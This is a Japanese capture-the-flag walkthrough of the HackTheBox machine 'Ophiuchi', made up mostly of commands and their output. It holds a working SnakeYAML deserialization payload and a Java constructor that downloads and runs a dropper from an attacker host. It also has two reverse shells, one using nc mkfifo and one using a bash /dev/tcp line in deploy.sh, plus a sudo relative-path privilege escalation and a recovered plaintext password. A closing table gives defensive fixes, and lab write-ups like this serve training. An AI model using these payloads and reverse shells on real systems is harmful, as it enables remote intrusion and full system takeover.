HackTheBox: Ophiuchi — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/8080(Tomcat)
→
22(SSH)/8080(Tomcat)
“Online YAML Parser” 発見
/yaml/ フォーム(name=”data”)
→
/yaml/ フォーム(name=”data”)
SnakeYAML 安全でないデシリアライズ
ScriptEngineManager+URLClassLoader
→
ScriptEngineManager+URLClassLoader
悪性JARロード → RCE
tomcatユーザー
→
tomcatユーザー
tomcat-users.xml 平文パスワード
admin:whythereisalimit
→
admin:whythereisalimit
admin SSH
user.txt ✓
→
user.txt ✓
sudo go run index.go
main.wasm/deploy.sh 差し替え
→
main.wasm/deploy.sh 差し替え
偽 main.wasm (info()→1) で deploy.sh実行
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.54.38 nmap -sV -sC -p 22,8080 10.129.54.38
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 8080/tcp open http Apache Tomcat (language: en) |_http-title: Parse YAML Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ポート80はclosedで、Webアプリケーション本体は8080番のTomcatに
乗っている点に注意(80番だけ見て諦めないこと)。
PHASE 2
“Online YAML Parser” フォームの調査
フォームのHTMLソースからフィールド名を特定
BASH
curl -s "http://10.129.54.38:8080/yaml/"
RESULT (該当箇所抜粋)
<title>Parse YAML</title>
...
<form action="Servlet" method="post">
<textarea type="text" id="data" class="fadeIn second" name="data" ...></textarea>
...
</form>
ℹ️
POST先は
/yaml/Servlet、テキストエリアの name 属性は
data。この値は実際にHTMLソースを取得しないと分からず、
推測(yaml/input等)では常に NullPointerException
になり気づきにくい典型的なハマりどころ。
PHASE 3
SnakeYAML 安全でないデシリアライズ → RCE
公開PoC (artsploit/yaml-payload) の取得と改造
BASH
git clone https://github.com/artsploit/yaml-payload cd yaml-payload
NOTE
SnakeYAMLの `Yaml.load()` はデフォルトで全クラスの構築を許してしまうため、 `!!javax.script.ScriptEngineManager` タグと `!!java.net.URLClassLoader` タグを 組み合わせると、攻撃者が指定した任意URLからJARをダウンロード・ロードさせ、 ScriptEngineFactory実装クラスの**コンストラクタ**を実行させられる (著名な公開PoC artsploit/yaml-payload)。
BASH (src/artsploit/AwesomeScriptEngineFactory.java のコンストラクタを書き換え)
public AwesomeScriptEngineFactory() throws Exception {
try {
Process p = Runtime.getRuntime().exec("wget http://10.10.15.201:8000/shell -O /tmp/shell");
p.waitFor();
p = Runtime.getRuntime().exec("chmod +x /tmp/shell");
p.waitFor();
p = Runtime.getRuntime().exec("/tmp/shell");
p.waitFor();
} catch (IOException e) {
e.printStackTrace();
}
}
BASH (リバースシェルドロッパー shell)
#!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.201 4444 >/tmp/f
つまずきポイント: Kaliのデフォルトjavacでコンパイルすると失敗する
BASH (最初に失敗した方法)
javac src/artsploit/AwesomeScriptEngineFactory.java # Kaliのデフォルト javac (JDK 25) jar -cvf yaml-payload.jar -C src .
RESULT (送信すると対象から返るエラー)
Root Cause
java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been
compiled by a more recent version of the Java Runtime (class file version 69.0),
this version of the Java Runtime only recognizes class file versions up to 55.0
🚨
原因: Kali(攻撃側)のデフォルト
javac は JDK 25 であり、
生成される .class ファイルの class file version は 69
(Java 25相当)。しかし対象のTomcatが動くJVMは version 55(Java 11)
までしか実行できないため、悪性クラスをロードしようとした瞬間に
UnsupportedClassVersionError でRCEに失敗し、リバースシェルが
一切返ってこない(HTTP 500は返るため一見「動いているように見える」のが厄介)。
BASH (修正後 — Java 11のjavacを明示的に使用)
# Kaliには java-11-openjdk パッケージも共存インストールされている /usr/lib/jvm/java-11-openjdk-amd64/bin/javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src .
✅
Java 11 の javac でビルドすると class file version 55 が生成され、
対象JVMと互換性が取れる(
javap -verbose ...class | grep "major version"
で55であることを確認済み)。攻撃対象のJavaバージョンが古い場合、
攻撃側のペイロードのコンパイルにも同じ(かそれ以下の)バージョンを
使うのは、この種のRCEチェーン全般で重要な鉄則。
HTTPサーバーでJAR配信 & リスナー起動 & ペイロード送信
BASH
# ターミナル1: JARファイルを配信
python3 -m http.server 8000 --directory yaml-payload
# ターミナル2: リバースシェル受信リスナー
nc -lnvp 4444
# ターミナル3: デシリアライズペイロード送信
curl -s -X POST --data-urlencode 'data=!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.15.201:8000/yaml-payload.jar"]
]]
]' http://10.129.54.38:8080/yaml/Servlet
RESULT (JAR配信ログ)
10.129.54.38 - - [.../yaml-payload.jar HTTP/1.1" 200 - 10.129.54.38 - - [.../yaml-payload.jar HTTP/1.1" 200 -
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.54.38] 37470 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
✅
RCE成功。 対象がJARを2回GETしているのは、SnakeYAMLがクラスローダ経由で
クラス定義と
META-INF/services/のサービスプロバイダ設定を別々に
読みに行くため(正常な挙動)。
PHASE 4
tomcat-users.xml 平文パスワード & user.txt 取得
tomcat-users.xml を読む
BASH (リバースシェル内)
$ cat /opt/tomcat/conf/tomcat-users.xml
RESULT
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
SSHログイン & user.txt 取得
BASH
sshpass -p 'whythereisalimit' ssh admin@10.129.54.38 "id; cat ~/user.txt"
RESULT
uid=1000(admin) gid=1000(admin) groups=1000(admin) 45788b599b12de70415bf792cc4df997
user.txt — admin@ophiuchi
45788b599b12de70415bf792cc4df997
PHASE 5
sudo権限とWebAssembly privescスクリプトの解析
sudo -l で許可コマンドを確認
BASH
admin@ophiuchi:~$ sudo -l
RESULT
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
index.go の内容を読む
BASH
admin@ophiuchi:~$ cat /opt/wasm-functions/index.go
RESULT (実機で確認した実際のソース全文)
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
...
}
}
🚨
脆弱性:
main.wasm と deploy.sh がどちらも
絶対パス無しの相対パスで参照されている。つまり
go run /opt/wasm-functions/index.go を実行した**カレントディレクトリ**の
ファイルがそのまま読み込まれる。info() エクスポート関数が文字列 “1” を
返せば、同じカレントディレクトリの deploy.sh がroot権限で実行される。
攻撃者が書き込み可能な任意のディレクトリ(/tmp等)に自作の
main.wasm(常に1を返すだけ)とdeploy.sh(任意コマンド)を
置き、そこをカレントディレクトリにして sudo 実行すれば権限昇格できる。
PHASE 6
偽 main.wasm の作成 → root.txt
info()が1を返すだけの最小WATソースをwat2wasmでビルド
BASH (main.wat)
(module
(func (export "info") (result i32)
i32.const 1
)
)
BASH
wat2wasm main.wat -o main.wasm
ℹ️
wat2wasm(wabtパッケージ)はKaliに標準で導入されている。
実機の本物の main.wasm を逆コンパイル・解析する必要は無く、
「info()が”1″を返すだけ」という最小実装を新規に書いて
コンパイルすれば十分。
リバースシェルを起動する deploy.sh を作成
BASH (deploy.sh)
#!/bin/bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.201/1234 0>&1'
/tmp へ転送し sudo 実行
BASH
scp main.wasm deploy.sh admin@10.129.54.38:/tmp/ ssh admin@10.129.54.38 "chmod +x /tmp/deploy.sh /tmp/main.wasm" # リスナー起動 nc -lnvp 1234 # 別ターミナルでカレントディレクトリを/tmpにしてsudo実行をトリガー ssh admin@10.129.54.38 "cd /tmp && sudo /usr/bin/go run /opt/wasm-functions/index.go"
⚠️
index.go は exec.Command(...).Output() でdeploy.shの
プロセス終了を待つ実装のため、deploy.shがリバースシェルを起動して
居座り続けると、このsudoコマンドを発行したSSHセッション自体は
接続がタイムアウトするまで応答を返さず「ハングしたように見える」。
これはバグではなく想定通りの挙動なので、トリガー側の応答を待たずに
別ターミナルのリスナー側を確認すればよい。
RESULT (nc :1234 リスナー側)
listening on [any] 1234 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.54.38] 57582 bash: cannot set terminal process group (2182): Inappropriate ioctl for device bash: no job control in this shell root@ophiuchi:/tmp# id uid=0(root) gid=0(root) groups=0(root)
✅
権限昇格成功。 カレントディレクトリが
/tmp の状態で
sudo実行されたため、index.goが読み込む main.wasm/deploy.sh
は攻撃者が用意したものになり、root権限のシェルが返ってきた。
root.txt 取得
BASH
root@ophiuchi:/tmp# cat /root/root.txt
RESULT
0ff6603eb53e5a07b93dd46397dcb61d
root.txt — root@ophiuchi
0ff6603eb53e5a07b93dd46397dcb61d
SUMMARY
攻略サマリー & 教訓
取得フラグ & 資格情報
user.txt — admin@ophiuchi
45788b599b12de70415bf792cc4df997
root.txt — root@ophiuchi
0ff6603eb53e5a07b93dd46397dcb61d
| ユーザー | パスワード | 入手経路 |
|---|---|---|
| admin | whythereisalimit | tomcat-users.xml(平文保存、RCE経由で読取) |
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SnakeYAML 安全でないデシリアライズ | Tomcat “Online YAML Parser” (/yaml/Servlet) |
リモートコード実行 (tomcatユーザー) | Critical | !!javax.script.ScriptEngineManager+URLClassLoaderで任意JARをロードさせコンストラクタ実行 |
| 平文パスワード保存 | tomcat-users.xml | 認証情報漏洩 | Medium | 管理者パスワードがそのままLinux SSHログインにも使えた |
| 相対パス依存の任意コード実行 | /opt/wasm-functions/index.go (NOPASSWD sudo) |
権限昇格 (root) | Critical | main.wasm/deploy.shを絶対パス無しで参照 → カレントディレクトリを差し替えて偽ファイルを読み込ませる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap フルポートスキャン | 22/8080のみ、Tomcat”Parse YAML”検出 |
| 2 | フォーム調査 | HTMLソース確認 | POST先/フィールド名(data)特定 |
| 3 | デシリアライズRCE | SnakeYAML + ScriptEngineManager悪用 | tomcatユーザーRCE |
| 4 | 資格情報流用 | tomcat-users.xml → SSH | user.txt |
| 5 | 権限調査 | sudo -l + index.goソース読解 | 相対パス脆弱性の特定 |
| 6 | 権限昇格 | 偽main.wasm/deploy.sh差し替え | root.txt |
| 症状 | 原因 | 修正 |
|---|---|---|
| ペイロードJARを対象がダウンロードしてもリバースシェルが一切返らず、フォームフィールド名の問題かと誤診しがちだった | Kaliのデフォルトjavac(JDK 25)でコンパイルしたクラスファイルのバージョン(69)が、対象JVMが認識できる上限(55 = Java 11)を超えておりUnsupportedClassVersionErrorで読み込み自体が失敗していた(HTTP 500は返るため一見動いているように見える) |
Kaliに共存インストールされている/usr/lib/jvm/java-11-openjdk-amd64/bin/javacを明示的に使ってコンパイルするよう変更 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
SnakeYAMLのYaml.load()(安全でない旧API)をユーザー入力に対しそのまま使用 |
SafeConstructorを使うnew Yaml(new SafeConstructor())、または新しいSnakeYAMLバージョンのConstructor(LoaderOptions)でタグのホワイトリスト化を行う。 |
| Tomcat管理コンソールのパスワードがLinuxアカウントと同一・平文でファイルに保存 | アプリケーション用資格情報とOSアカウントを分離し、パスワードの使い回しを禁止する。 |
| root権限で実行されるGoスクリプトが読み込みファイルを絶対パスで指定していない | 特権操作を行うスクリプトでは、設定ファイル・プラグイン等のパスを必ず絶対パスで指定し、カレントディレクトリに依存しない設計にする。 |

